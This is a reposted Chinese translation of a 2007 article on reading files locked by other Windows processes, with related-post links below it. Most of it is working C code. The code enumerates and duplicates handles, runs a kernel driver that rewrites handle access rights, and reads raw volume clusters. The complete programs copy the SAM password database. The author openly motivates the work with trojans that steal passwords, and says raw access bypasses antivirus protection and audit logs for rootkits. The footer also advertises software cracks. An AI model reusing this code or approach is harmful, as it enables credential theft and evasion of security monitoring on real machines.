被占用文件操作三法

怎么样知道一个文件是否已经被谁打开了 如何打开被独占打开了的文件方法 用createfile以独占方式打开的那种方法怎么不行有没有别的方法 怎么样知道一个文件是否已经被打开 如何打开被独占打开了的文件方法 用createfile以独占方式打开的那种方法怎么不行有没有别的方法 立即下载
转载自看雪论坛,有很高的参考价值。
=======================

标 题: 【翻译】被占用文件操作三法
作 者: libradohko
时 间: 2007-02-03,00:44
链 接: http://bbs.pediy.com/showthread.php?threadid=39001

被占用文件操作三法

无疑我们中的很多人都会遇到需要读写被其它进程占用的文件的情况,比如说在编写backup程序或是trojan的时候。能从系统中抽出SAM文件,或是读取其它某些用标准方法无法成功访问的文件显然是件不错的事情。比如说当用标志dwShareMode = 0打开文件时,其它进程就不能对它进行访问了。一个很好的例子就是网络寻呼机程序Miranda。这个程序在自己工作的时候不允许别人打开自己的数据库。假设我们需要写一个这样的木马,它在感染机器后从数据库中窃走密码,然后删除自身,这个时候就需要解决这个问题。所以我决定写下这篇文章。文章篇幅不大,但里面的内容可能会对某些人有益。那我们就开始吧。


寻找打开文件的句柄

如果文件由某个进程打开,那么这个进程就拥有了它的句柄。在我第二篇关于API拦截的文章里我讲解了如何搜索需要的句柄并用它打开进程,要访问已打开的文件,我们也可以使用这种方法。我们需要使用ZwQuerySystemInformation函数来枚举句柄,将每一个句柄都用DuplicateHandle进行复制,确定句柄属于那个文件(ZwQueryInformationFile),如果是要找的文件,就将句柄拷贝。

这些在理论上都讲得通,但在实践中会遇到两处难点。第一,在对打开的named pipe(工作于block mode)的句柄调用ZwQueryInformationFile的时候,调用线程会等待pipe中的消息,而pipe中却可能没有消息,也就是说,调用ZwQueryInformationFile的线程实际上永久性地挂起了。所以命名文件的获取不用在挑选句柄的主线程中进行,可以启动独立的线程并设置一个timeout值来避免挂起。第二,在拷贝句柄后,两个句柄(我们进程的和打开文件进程的)将会指向同一个FileObject,从而当前的输入输出模式、在文件中的位置以及其它与文件相关的信息就会由两个进程来共享。这时,甚至只是读取文件都会引起读取位置的改变,从而破坏了打开文件程序的正常运行。为了避免这种情形,我们需要需要停止占用文件进程的线程、保存当前位置、拷贝文件、恢复当前位置以及重新启动占用文件的进程。这种方法不能用于许多情形,比如要在运行的系统中拷贝注册表文件,用这种方法就不会成功。

我们先来试着实现对系统中所有已打开文件的句柄的枚举。为枚举句柄,每个句柄都由以下结构体描述:

typedef struct _SYSTEM_HANDLE
{
  ULONG       uIdProcess;
  UCHAR       ObjectType;
  UCHAR       Flags;
  USHORT      Handle;
  POBJECT     pObject;
  ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

这里的ObjectType域定义了句柄所属的对象类型。这里我们又遇到了问题——File类型的ObjectType在Windows 2000、XP和2003下的取值各不相同,所以我们不得不动态的定义这个值。为此我们用CreateFile来打开NUL设备,找到它的句柄并记下它的类型:

UCHAR GetFileHandleType()
{
  HANDLE                     hFile;
  PSYSTEM_HANDLE_INFORMATION Info;
  ULONG                      r;
  UCHAR                      Result = 0;

  hFile = CreateFile("NUL", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

  if (hFile != INVALID_HANDLE_VALUE)
  {
   Info = GetInfoTable(SystemHandleInformation);

   if (Info)
   {
     for (r = 0; r < Info->uCount; r++)
     {
       if (Info->aSH[r].Handle == (USHORT)hFile &&
                                   Info->aSH[r].uIdProcess == GetCurrentProcessId())
       {
         Result = Info->aSH[r].ObjectType;
         break;
       }
     }

     HeapFree(hHeap, 0, Info);
   }

   CloseHandle(hFile);
  }
  return Result;
}

现在知道了句柄的类型我们就可以枚举系统中打开的文件了。首先我们来用句柄获取打开文件的文件名:

typedef struct _NM_INFO
{
  HANDLE  hFile;
  FILE_NAME_INFORMATION Info;
  WCHAR Name[MAX_PATH];
} NM_INFO, *PNM_INFO;

DWORD WINAPI
  GetFileNameThread(PVOID lpParameter)

{
  PNM_INFO        NmInfo = lpParameter;
  IO_STATUS_BLOCK IoStatus;
  int r;

  NtQueryInformationFile(NmInfo->hFile, &IoStatus, &NmInfo->Info,
                      sizeof(NM_INFO) - sizeof(HANDLE), FileNameInformation);

  return 0;
}

void GetFileName(HANDLE hFile, PCHAR TheName)
{
  HANDLE   hThread;
  PNM_INFO Info = HeapAlloc(hHeap, 0, sizeof(NM_INFO));

  Info->hFile = hFile;

  hThread = CreateThread(NULL, 0, GetFileNameThread, Info, 0, NULL);

  if (WaitForSingleObject(hThread, INFINITE) == WAIT_TIMEOUT) TerminateThread(hThread, 0);

  CloseHandle(hThread);

  memset(TheName, 0, MAX_PATH);

  WideCharToMultiByte(CP_ACP, 0, Info->Info.FileName, Info->Info.FileNameLength >> 1, TheName, MAX_PATH, NULL, NULL);

  HeapFree(hHeap, 0, Info);
}

现在来枚举打开的文件:

void main()
{
  PSYSTEM_HANDLE_INFORMATION Info;
  ULONG                      r;
  CHAR                       Name[MAX_PATH];
  HANDLE                     hProcess, hFile;

  hHeap = GetProcessHeap();

  ObFileType = GetFileHandleType();

  Info = GetInfoTable(SystemHandleInformation);

  if (Info)
  {
   for (r = 0; r < Info->uCount; r++)
   {
     if (Info->aSH[r].ObjectType == ObFileType)
     {
       hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, Info->aSH[r].uIdProcess);
      
       if (hProcess)
       {
         if (DuplicateHandle(hProcess, (HANDLE)Info->aSH[r].Handle,
                       GetCurrentProcess(), &hFile, 0, FALSE, DUPLICATE_SAME_ACCESS))
         {
           GetFileName(hFile, Name);

           printf("%s/n", Name);

           CloseHandle(hFile);
         }

         CloseHandle(hProcess);
       }       
     }
    
   }  
   HeapFree(hHeap, 0, Info);
  }
}

现在对于文件的拷贝我们剩下的工作只是找到所需句柄后用ReadFile读取它。这里一定要使用前面提到的机制,不可疏忽。

这种方法的优点是实现简单,但是其缺点更多,所以这个方法只适用于确定文件被那个进程占用。


修改句柄访问权限

所有被占用的文件通常都可以用读属性(FILE_READ_ATTRIBUTES)打开,这样就可以读取文件的属性,取得它的大小,枚举NTSF stream,但遗憾的是,ReadFile就不能成功调用了。打开文件时各种访问属性的区别在哪里呢?显然,打开文件时,系统会记录访问属性,之后会用这个属性与请求的访问作比较。如果找到了系统保存这个属性的位置并修该掉它,那就不只可以读取,甚至可以写入任何已打开的文件。

在用户这一级别上我们并不是直接与文件打交道,而是通过它的句柄(这个句柄指向FileObject),而函数ReadFile/WriteFile调用ObReferenceObjectByHandle,并指明了相应的访问类型。由此我们可以得出结论,访问权限保存在描述句柄的结构体里。实际上,HANDLE_TABLE_ENTRY结构体包含有一个GrantedAccess域,这个域不是别的,就是句柄的访问权限。遗憾的是,Microsoft的程序员们没有提供修改句柄访问权的API,所以我们不得不编写驱动自己来做这项工作。

我在《隐藏进程检测》一文中讲到过Windows 2000和XP的句柄表结构体,我想补充的只有一点,就是Windows 2003中的句柄表与XP的完全一样。与那篇文章不同,我们这里不需要枚举表中的句柄,而只需要找到某个具体的(已知的)句柄,我们不用管PspCidTable,而只操作自己进程的句柄表,表的指针位于进程的EPROCESS结构体里(2000下的偏移为0x128,XP下的为0x0C4)。

为了取得句柄结构体指针需要调用未导出函数ExpLookupHandleTableEntry,但我们不会去搜索它,因为在导出函数中没有对它的直接引用,搜索结果也很不可靠,除此之外我们此时还需要ExUnlockHandleTableEntry函数。最好的办法就是编写自己的句柄表lookup函数。考虑到Windows 2000与XP下句柄表的差异,我们将编写不同的函数。

首先是Windows 2000下的:

PHANDLE_TABLE_ENTRY
  Win2kLookupHandleTableEntry(
     IN PWIN2K_HANDLE_TABLE HandleTable,
     IN EXHANDLE            Handle
     )
{
   ULONG i, j, k;

   i = (Handle.Index >> 16) & 255;
   j = (Handle.Index >> 8)  & 255;
   k = (Handle.Index)       & 255;
  
   if (HandleTable->Table )
   {
       if (HandleTable->Table[j])
       {
           return &(HandleTable->Table[j][k]);
       }  
   }
   return NULL;    
}

这段代码简单易懂。因为句柄的值本身是个三维表的三个索引,所以我们只需其中的各个部分并查看表中相应的元素(当然如果存在的话)。因为Windows XP中的句柄表可以有一到三个级别,所以相应的lookup代码就要更为复杂一些:

PHANDLE_TABLE_ENTRY
  XpLookupHandleTableEntry(
            IN PXP_HANDLE_TABLE HandleTable,
            IN EXHANDLE         Handle
            )
{
   ULONG i, j, k;
   PHANDLE_TABLE_ENTRY Entry = NULL;
   ULONG TableCode = HandleTable->TableCode & ~TABLE_LEVEL_MASK;

   i = (Handle.Index >> 17) & 0x1FF;
   j = (Handle.Index >> 9)  & 0x1FF;
   k = (Handle.Index)       & 0x1FF;

   switch (HandleTable->TableCode & TABLE_LEVEL_MASK)
   {
       case 0 :
         Entry = &((PHANDLE_TABLE_ENTRY)TableCode)[k];
       break;
   
       case 1 :
         if (((PVOID *)TableCode)[j])
         {
            Entry = &((PHANDLE_TABLE_ENTRY *)TableCode)[j][k];     
         }
       break;

       case 2 :
         if (((PVOID *)TableCode))
         if (((PVOID **)TableCode)[j])
         {
            Entry = &((PHANDLE_TABLE_ENTRY **)TableCode)[j][k];              
         }
       break;
   }
   return Entry;
}

我们看到,这段代码中的句柄并不是ULONG型的值,而是EXHANDLE结构体:

typedef struct _EXHANDLE
{
   union
   {
       struct
       {
           ULONG TagBits : 02;
           ULONG Index   : 30;
       };
       HANDLE GenericHandleOverlay;
   };
} EXHANDLE, *PEXHANDLE;

我们看到,句柄不知包含了表的索引,还包含了一个2 bit的标志。您可能已经察觉到,一个句柄可以有着几种不同的意义,这一点与这样一个事实有关,那就是并非句柄中所有的位都被使用到(依赖于在表中的级别)。这是Windows XP最具个性的特点。

现在我们就可以获取句柄表中所需的元素了,该编写为句柄设置所需访问属性的函数了:

BOOLEAN SetHandleAccess(
               IN HANDLE      Handle,
               IN ACCESS_MASK GrantedAccess
               )
{
  PHANDLE_TABLE       ObjectTable = *(PHANDLE_TABLE *)RVATOVA(PsGetCurrentProcess(), ObjectTableOffset);
  PHANDLE_TABLE_ENTRY Entry;
  EXHANDLE            ExHandle;

  ExHandle.GenericHandleOverlay = Handle;

  Entry = ExLookupHandleTableEntry(ObjectTable, ExHandle);

  if (Entry) Entry->GrantedAccess = GrantedAccess;

  return Entry > 0;
}

现在编写驱动,设置句柄的访问属性,通过DeviceIoControl向驱动传递句柄。代码如下:

NTSTATUS DriverIoControl(
   IN PDEVICE_OBJECT DeviceObject,
   IN PIRP Irp)
{
   PIO_STACK_LOCATION pisl     = IoGetCurrentIrpStackLocation(Irp);
   NTSTATUS           status   = STATUS_UNSUCCESSFUL;
   ULONG              BuffSize = pisl-&gtarameters.DeviceIoControl.InputBufferLength;
   PUCHAR             pBuff    = Irp->AssociatedIrp.SystemBuffer;
   HANDLE             Handle;
   ACCESS_MASK        GrantedAccess;

   Irp->IoStatus.Information = 0;

   switch(pisl-&gtarameters.DeviceIoControl.IoControlCode)
   {
       case IOCTL1:
           if (pBuff && BuffSize >= sizeof(HANDLE) + sizeof(ACCESS_MASK))
           {
               Handle        = *(HANDLE*)pBuff;
               GrantedAccess = *(ACCESS_MASK*)(pBuff + sizeof(HANDLE));

               if (Handle != (HANDLE)-1 && SetHandleAccess(Handle, GrantedAccess)) status = STATUS_SUCCESS;
      
           }    
        break;
    }  

   Irp->IoStatus.Status = status;
   IoCompleteRequest(Irp, IO_NO_INCREMENT);
   return status;
}

NTSTATUS DriverCreateClose(
   IN PDEVICE_OBJECT DeviceObject,
   IN PIRP Irp)
{
   Irp->IoStatus.Information = 0;
   Irp->IoStatus.Status = STATUS_SUCCESS;
   IoCompleteRequest(Irp, IO_NO_INCREMENT);
   return STATUS_SUCCESS;
}


NTSTATUS DriverEntry(
           IN PDRIVER_OBJECT DriverObject,
           IN PUNICODE_STRING RegistryPath
           )
{
   PCWSTR   dDeviceName       = L"//Device//fread";
   PCWSTR   dSymbolicLinkName = L"//DosDevices//fread";
   NTSTATUS status;
   PDRIVER_DISPATCH *ppdd;

   RtlInitUnicodeString(&DeviceName,       dDeviceName);
   RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);

   switch (*NtBuildNumber)
   {
       case 2600:
           ObjectTableOffset = 0x0C4;
           ExLookupHandleTableEntry = XpLookupHandleTableEntry;
       break;

       case 2195:
           ObjectTableOffset = 0x128;
           ExLookupHandleTableEntry = Win2kLookupHandleTableEntry;
       break;

       default: return STATUS_UNSUCCESSFUL;
   }

   status = IoCreateDevice(DriverObject,
                           0,
                           &DeviceName,
                           FILE_DEVICE_UNKNOWN,
                           0,
                           TRUE,
                           &deviceObject);
  
   if (NT_SUCCESS(status))
   {
       status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);

       if (!NT_SUCCESS(status)) IoDeleteDevice(deviceObject);

       DriverObject->DriverUnload = DriverUnload;
   }

   ppdd = DriverObject->MajorFunction;
 
   ppdd [IRP_MJ_CREATE] =
   ppdd [IRP_MJ_CLOSE ] = DriverCreateClose;
   ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;

   return status;
}

遗憾的是句柄结构体中的GrantedAccess域并没有和文件打开的属性(GENERIC_READ、GENERIC_WRITE等)对应起来,所以在设置新的属性时我们需要以下constants:

#define AC_GENERIC_READ        0x120089
#define AC_GENERIC_WRITE       0x120196
#define AC_DELETE              0x110080
#define AC_READ_CONTROL        0x120080
#define AC_WRITE_DAC           0x140080
#define AC_WRITE_OWNER         0x180080
#define AC_GENERIC_ALL         0x1f01ff
#define AC_STANDARD_RIGHTS_ALL 0x1f0080

为了使用这个驱动将SAM文件拷贝到c盘根目录,我们可以写一个最简单的程序:

#include <windows.h>
#include "hchange.h"

BOOLEAN SetHandleAccess(
            HANDLE Handle,  
            ACCESS_MASK GrantedAccess
            )
{
   HANDLE  hDriver;
   ULONG   Bytes;
   ULONG   Buff[2];
   BOOLEAN Result = FALSE;

   hDriver = CreateFile("////.//haccess", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

   if (hDriver != INVALID_HANDLE_VALUE)
   {
       Buff[0] = (ULONG)Handle;
       Buff[1] = GrantedAccess;

       Result = DeviceIoControl(hDriver, IOCTL1, Buff, sizeof(Buff), NULL, 0, &Bytes, NULL);

       CloseHandle(hDriver);
   }
}

void main()
{
   HANDLE hFile, hDest;
   ULONG  Size, Bytes;
   PVOID  Data;
   CHAR   Name[MAX_PATH];

   GetSystemDirectory(Name, MAX_PATH);

   lstrcat(Name, "//config//SAM");

   hFile = CreateFile(Name, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                      NULL, OPEN_EXISTING, 0, 0);
  
   if (hFile != INVALID_HANDLE_VALUE)
   {
       if (SetHandleAccess(hFile, AC_GENERIC_READ))
       {
           Size = GetFileSize(hFile, NULL);

           Data = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

           if (Data)
           {
               ReadFile(hFile, Data, Size, &Bytes, NULL);

               hDest = CreateFile("c://SAM", GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);

               if (hDest != INVALID_HANDLE_VALUE)
               {
                   WriteFile(hDest, Data, Size, &Bytes, NULL);

                   CloseHandle(hDest);
               }
               VirtualFree(Data, 0, MEM_RELEASE);
           }
       }
       CloseHandle(hFile);
   }
}

这个方法最大的缺陷就是强烈依赖于操作系统,而且还需要加载驱动程序,而这并不总是能实现的。但是从可靠性上来看,这种方法是最好的,所以我建议将其用在backup程序中(只是要经过长期的测试和调试!)。因为这种方法有不能胜任的情形,我们转入下一种方法。


使用直接硬盘访问读取文件

“直接访问硬盘”这个想法当然很酷,但很快DOS编程爱好者们就会失望,这里没有硬件操作,因为微软很关心我们的疾苦,提供了方便简单的API,通过这些API可以几乎“直接地”操作硬盘。这样大家就明白了吧,实际上我们是想以RAW模式打开volume,并按cluster来读取文件。希望大家没有被吓到

如果直接入手解决这个问题,就需要手动地分析文件系统结构,这样我们就需要编写很多多余的代码,所以我们不会这样去做,而是再一次参考微软伟大的手册——MSDN。"Defragmenting Files "和"Disk Management Control Codes"部分对于我们来说非常有用,那里面有文件系统驱动的控制代码,这些代码可以用在各种磁盘整理程序中。打开MSDN,无疑会发现,使用IOCTL代码FSCTL_GET_RETRIEVAL_POINTERS可以获取文件分配图。也就是说我们只需要借助于这个IOCTL就可以获取被占用文件的cluster list并进行读取。

用此代码调用DeviceIoControl时,InputBuffer应该包含有STARTING_VCN_INPUT_BUFFER结构体,这个结构体描述了文件cluster链的首元素,函数成功执行后,OutputBuffer将装有RETRIEVAL_POINTERS_BUFFER结构体,这个结构体描述了分配图。我们来详细地看一下这个结构体:

typedef struct
{  
  LARGE_INTEGER StartingVcn;
} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER;

typedef struct RETRIEVAL_POINTERS_BUFFER
{  
   DWORD ExtentCount;  
   LARGE_INTEGER StartingVcn;  
   struct
   {    
       LARGE_INTEGER NextVcn;    
       LARGE_INTEGER Lcn;  
   } Extents[1];
} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;

第一个结构体很容易懂,我们只需要向StartingVcn.QuadPart传递0,而第二个结构体的格式需要好好研究一下。第一个域(ExtentCount)包含着结构体中Extents元素的数目。StartingVcn文件第一个cluster链的链号。每一个Extents元素都包含有一个NextVcn,其含有链中cluser的数目,而Lcn——其第一个cluster的cluster号。也就是说所返回的信息就是cluster链的描述符,其中每一个链都包含有某些个cluster。

现在返回信息的结构体的含义就已经明了了,到了编写函数的时候了,这个函数获取文件完整的cluster list并将其整理为数组形式。

ULONGLONG *GetFileClusters(
                   PCHAR lpFileName,
                   ULONG ClusterSize,
                   ULONG *ClCount,
                   ULONG *FileSize
                   )
{
   HANDLE  hFile;
   ULONG   OutSize;
   ULONG   Bytes, Cls, CnCount, r;
   ULONGLONG *Clusters = NULL;
   BOOLEAN Result = FALSE;
   LARGE_INTEGER PrevVCN, Lcn;
   STARTING_VCN_INPUT_BUFFER  InBuf;
   PRETRIEVAL_POINTERS_BUFFER OutBuf;

   hFile = CreateFile(lpFileName, FILE_READ_ATTRIBUTES,
                      FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                      NULL, OPEN_EXISTING, 0, 0);

   if (hFile != INVALID_HANDLE_VALUE)
   {
       *FileSize = GetFileSize(hFile, NULL);

       OutSize = sizeof(RETRIEVAL_POINTERS_BUFFER) + (*FileSize / ClusterSize) * sizeof(OutBuf->Extents);

       OutBuf = malloc(OutSize);

       InBuf.StartingVcn.QuadPart = 0;
   
       if (DeviceIoControl(hFile, FSCTL_GET_RETRIEVAL_POINTERS, &InBuf,
                           sizeof(InBuf), OutBuf, OutSize, &Bytes, NULL))
       {
           *ClCount = (*FileSize + ClusterSize - 1) / ClusterSize;

           Clusters = malloc(*ClCount * sizeof(ULONGLONG));

           PrevVCN = OutBuf->StartingVcn;

           for (r = 0, Cls = 0; r < OutBuf->ExtentCount; r++)
           {
               Lcn = OutBuf->Extents[r].Lcn;

               for (CnCount = OutBuf->Extents[r].NextVcn.QuadPart - PrevVCN.QuadPart;
                    CnCount; CnCount--, Cls++, Lcn.QuadPart++) Clusters[Cls] = Lcn.QuadPart;

               PrevVCN = OutBuf->Extents[r].NextVcn;
           }
       }
    
       free(OutBuf);  

       CloseHandle(hFile);
   }
   return Clusters;
}

函数完成后我们就得到了描述文件clusters的数组以及clusters的数目,现在可以很容易地拷贝文件了:

void FileCopy(
       PCHAR lpSrcName,
       PCHAR lpDstName
       )
{
   ULONG         ClusterSize, BlockSize;
   ULONGLONG    *Clusters;
   ULONG         ClCount, FileSize, Bytes;
   HANDLE        hDrive, hFile;
   ULONG         SecPerCl, BtPerSec, r;
   PVOID         Buff;
   LARGE_INTEGER Offset;
   CHAR          Name[7];
  
   Name[0] = lpSrcName[0];
   Name[1] = ':';
   Name[2] = 0;

   GetDiskFreeSpace(Name, &SecPerCl, &BtPerSec, NULL, NULL);

   ClusterSize = SecPerCl * BtPerSec;
  
   Clusters = GetFileClusters(lpSrcName, ClusterSize, &ClCount, &FileSize);

   if (Clusters)
   {
       Name[0] = '/';
       Name[1] = '/';
       Name[2] = '.';
       Name[3] = '/';
       Name[4] = lpSrcName[0];
       Name[5] = ':';
       Name[6] = 0;

       hDrive = CreateFile(Name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

       if (hDrive != INVALID_HANDLE_VALUE)
       {
           hFile = CreateFile(lpDstName, GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);

           if (hFile != INVALID_HANDLE_VALUE)
           {
               Buff = malloc(ClusterSize);

               for (r = 0; r < ClCount; r++, FileSize -= BlockSize)
               {
                   Offset.QuadPart = ClusterSize * Clusters[r];

                   SetFilePointer(hDrive, Offset.LowPart, &Offset.HighPart, FILE_BEGIN);

                   ReadFile(hDrive, Buff, ClusterSize, &Bytes, NULL);

                   BlockSize = FileSize < ClusterSize ? FileSize : ClusterSize;

                   WriteFile(hFile, Buff, BlockSize, &Bytes, NULL);
               }

               free(Buff);

               CloseHandle(hFile);
           }
           CloseHandle(hDrive);
       }
       free(Clusters);
   }
}

文章到这里其实就结束了,现在要拷贝SAM简直易如反掌。在配套的示例中有将SAM拷贝到命令行指定的文件中的代码。

无疑,这种方法形式简单而功能强大,但遗憾的是它有着本质上的缺陷。这种方法只能用来读取以FILE_READ_ATTRIBUTES属性打开的文件,文件不能压缩,不能加密,而且应该有自己的cluster(在NTFS下小文件可以整个放在MFT里)。同时要考虑到,在读取文件时文件可能被修改。

我想,如何与底层文件系统打交道大家都已经明白了。这个方法为rootkit提供了诸多的便利。系统里有保护文件不被修改的程序(比如说反病毒软件),但是拥有了以RAW模式打开volume的权限之后,这些就形同虚设。再有,好的管理员会在自己的server上将重要文件的读写记录入日志文件,而直接访问是逃不过日志记录的。要实现对文件的完全访问就不得不编写自己的NTFS驱动了。

附录:

示例程序

henum.rar (56 kb)  枚举打开的文件的例子
samcopy.rar (11 kb)  在句柄表中修改访问权限拷贝SAM的例子
RawRead.rar (9 kb)  使用直接访问读取SAM的例子。


[C] Ms-Rem
http://wasm.ru/article.php?article=lockfileswork

鄙人拙译
http://greatdong.blog.edu.cn
 
[Unity_Plastic SCM小技巧] 使用 UnityYAMLMerge 工具合并场景和预制件文件 首先YAMLMerge工具其实并不局限于PlasticSCM,git也可以,它是内置在Editor内的一个更加智能的版本控制工具,只不过正常不会启用,他的目录在C:\Program Files\Unity\Editor\Data\Tools\UnityYAMLMerge.exe(Unity Editor安装目录),MAC上:/Applications/Unity/Unity.app/Content... 阅读详情

相关推荐

QGIS-空间分析-核密度分析

本文在QGIS软件中使用核密度估计法分析全球历年的地震数据,旨在分析出地震频发且严重的区域,为地震防控提供参考依据。全球历年地震数据来源于网络,仅用于技术学习探索。通过核密度分析,可以观察到南美、美国西部海岸线和太平洋北部区域在全球地震分布状态中是最为集中和强烈的。

imxiezy的博客 2467

使用NtQueryInformationFile函数获得不到完整路径

#include <windows.h> #include <iostream> using namespace std; typedef struct _OBJECT_NAME_INFORMATION { WORD Length; WORD MaximumLength; LPWSTR Buffer; } OBJECT_NAME...

weixin_33729196的博客 482

告别硬编码!用Aviator 5.3.3实现动态规则引擎,Spring Boot项目实战教程

本文详细介绍了如何使用Aviator 5.3.3在Spring Boot项目中实现动态规则引擎,告别硬编码。通过Maven依赖集成、规则模型设计、规则执行引擎实现及电商促销系统实战案例,展示了Aviator在动态规则配置中的高效应用,提升业务灵活性和开发效率。

weixin_30329623的博客 446

java删除服务器的文件夹权限管理,使用Java的AclFileAttributeView获取通用文件夹权限(如GENERIC_ALL)...

我使用Java7中的AclFileAttributeView来读取Windows目录的文件夹权限。 问题是,我无法得到一个完整的概述,因为AclFileAttributeView不会返回像GENERIC_ALL,GENERIC_WRITE,GENERIC_READ和GENERIC_EXECUTE(访问掩码中的四个高阶位)的一般权限。 实际上,当涉及到通用权限时,它给了我关于同一成员的其​​他Acl...

weixin_34135138的博客 762

5GS 协议栈 — PFCP 协议 — URR 用量上报规则

目录 文章目录目录URR 用量上报规则UEE 的参数Usage Report 的参数示例 URR 用量上报规则 29244 5.2.2 Usage Reporting Rule URR 的作用? 用来告诉 UPF 如何对 PDR 识别的 SDF 或 Application 业务进行使用量统计信息的上报。CP 收到 Report Information 后,可用于计费或者管控(e.g. 超量限速)等用途。 URR 在哪个流程里下发的? N4 会话建立流程。 N4 会话修改流程。 URR 是怎么工作

烟云的计算 4590

ZW3D 二次开发-制作插件

1.Windows 7 SP1 或 Windows 10 或 Windows 11(推荐 Windows 11)2.Visual studio 2017-2022 (或 C/C++的任何其他集成开发环境)(推荐 Visual studio 2022)3.ZW3D 2023 或以上版本(建议使用与 ZW3D 一致的 API 的版本)4.Qt5.9.7(for Windows)博主学习使用环境的是:Windows 11 Version 24H2 + Visual studio 2022 + Qt5.9.7(fo

fhqiwmc的博客 812

计算机精品学习资料

<ul class="digest_list"> <li><a href="http://club.topsage.com/thread-174979-1-1.html" class="txt_red">软考官方指定教材及同步辅导书下载</a> | <a href="http://club.topsage.com/thread-169...

gt15886435708的博客 410

YOLO系列专栏(五):YOLO26 模型部署实战 | 从训练完成到落地应用(CPU/GPU/移动端)

训练好的YOLO26模型,本质上是一个权重文件(.pt格式),无法直接在实际场景中使用——不同应用场景需要不同格式的模型(如ONNX、TensorRT、TFLite),不同设备(CPU/GPU/移动端)的部署方式也截然不同。在保证模型精度基本不变的前提下,最大化提升推理速度,适配不同硬件设备。如果部署不当,会出现以下问题:❌ 推理速度慢:CPU部署单帧推理耗时超过100ms,无法满足实时检测需求(如监控、自动驾驶);❌ 模型格式不兼容:直接使用.pt权重文件,无法在移动端、嵌入式设备上运行;

qq_36130719的博客 631

查看文件被占用的进程 NtQueryObject NtQueryInformationFile NtQuerySystemInformation

#pragma once #include #include #include #include #include #include #include using namespace std; #include typedef std::basic_stringTCHAR, std::char_traitsTCHAR>, std::allocatorTCHAR>> tstring; #inclu

linuxsmallping的专栏 4659

【招商银行笔试题汇总】[全网首发]2024-04-23-招商银行春秋招笔试题-三语言题解(CPP/Python/Java)

🏳️ 难难难!!!本次招商银行的笔试算是今年春招最难的场次之一了K小姐所在的公司有 NNN 个部门,编号从 111 到 NNN。由于公司网络系统比较老旧,对于同一个数据 ddd,不同部门记录的值可能不同。数据 ddd 在各部门被记录为 d1,d2,...,dNd_1, d_2, ..., d_Nd1​,d2​,...,dN​。公司提出可以通过会议来实现数据的一致性。每次会议会让相邻编号范围内的所有部门一起参加,如果有超过半数的部门能够对数据 ddd 的值达成共识,那么在此次会议后,参与会议的所有部门会将

春秋招笔试突围 3463

Matlab可调用MODTRAN5封装器之Mod5

MODTRAN 是一个计算地球大气中电磁辐射传输的软件代码。MODTRAN是通过使用具有严格格式的输入文本文件来控制的。这个文件被称为“tape5”,扩展名为.tp5或.ltn。手工创建或编辑这个文件是不方便的。Mod5提供了一组函数来简化MODTRAN用例的处理。这些方法包括将tape5文件格式读取到Mod5类“实例”或“对象”中,更改文件中描述的案例实例,将tape5格式写回文件,在案例上运行MODTRAN并将MODTRAN输出文件中的各种结果读取回Matlab。还有许多绘图方法可用。

qq_19512613的博客 3255

windows api 文件读写

输入参数,共享模式。输入参数,读取数据的文件对象,由CreateFile创建,调用CreateFile打开文件时,需要指明GENERIC_READ读取操作模式或者GENERIC_WRITE写入操作模式。在读的过程中,文件指针会随着读操作的进行而自动移动,在循环调用本函数时,会顺序读出文件的内容,如果程序返回失败,可以使用GetLastError函数获取错误信息。输入参数,写入数据的文件对象,由CreateFile创建,调用CreateFile打开文件时,需要指明GENERIC_WRITE读取操作模式。

m0_46135508的博客 2385

【FPGA教程案例87】加解密1——基于FPGA的AES加解密算法verilog实现

DES已走到了它生命的尽头。56比特密钥实在太小,虽然三重DES可以解决密钥长度的问题,但是DES的设计主要针对硬件实现,而今在许多领域,需要用软件方法来实现它,在这种情况下,它的效率相对较低。1997年4月15日美国国家标准和技术研究所(NIST)发起征集AES(Advanced Encryption Standard)算法的活动,并成立了AES工作组。目的是为了确定一个非保密的、公开披露的、全球免费使用的加密算法,用于保护下一世纪政府的敏感信息。这里,我们对AES的基本原理进行介绍:

FPGA/MATLAB学习教程/源码/项目合作开发 2546

【翻译】被占用文件操作三法

转载自看雪论坛,有很高的参考价值。是由俄罗斯大佬文章翻译。 ======================= 标 题: 【翻译】被占用文件操作三法 作 者: libradohko 时 间: 2007-02-03,00:44 链 接: http://bbs.pediy.com/showthread.php?threadid=39001 示例程序下载地址https://download.cs...

wers123456的博客 498

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

转载 : 被占用文件操作三法 [Ms-Rem]

original url from : http://old.blog.edu.cn/user1/14504/archives/2007/1637244.shtml 被占用文件操作三法 [Ms-Rem] [ 2007-2-3 0:35:00 | By: greatdong ]   被占用文件操作三法 无疑我们中的很多人都会遇到需要读写被

博客标题不能为空 1496

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

被占用文件操作三法 (出处 http://club.topsage.com/thread-2224967-1-1.html)

 无疑我们中的很多人都会遇到需要读写被其它进程占用的文件的情况,比如说在编写backup程序或是trojan的时候。能从系统中抽出SAM文件,或是读取其它某些用标准方法无法成功访问的文件显然是件不错的事情。比如说当用标志dwShareMode = 0打开文件时,其它进程就不能对它进行访问了。一个很好的例子就是网络寻呼机程序Miranda。这个程序在自己工作的时候不允许别人打开自己的数据库。假

pq159753159的专栏 2172

假人有限元模型

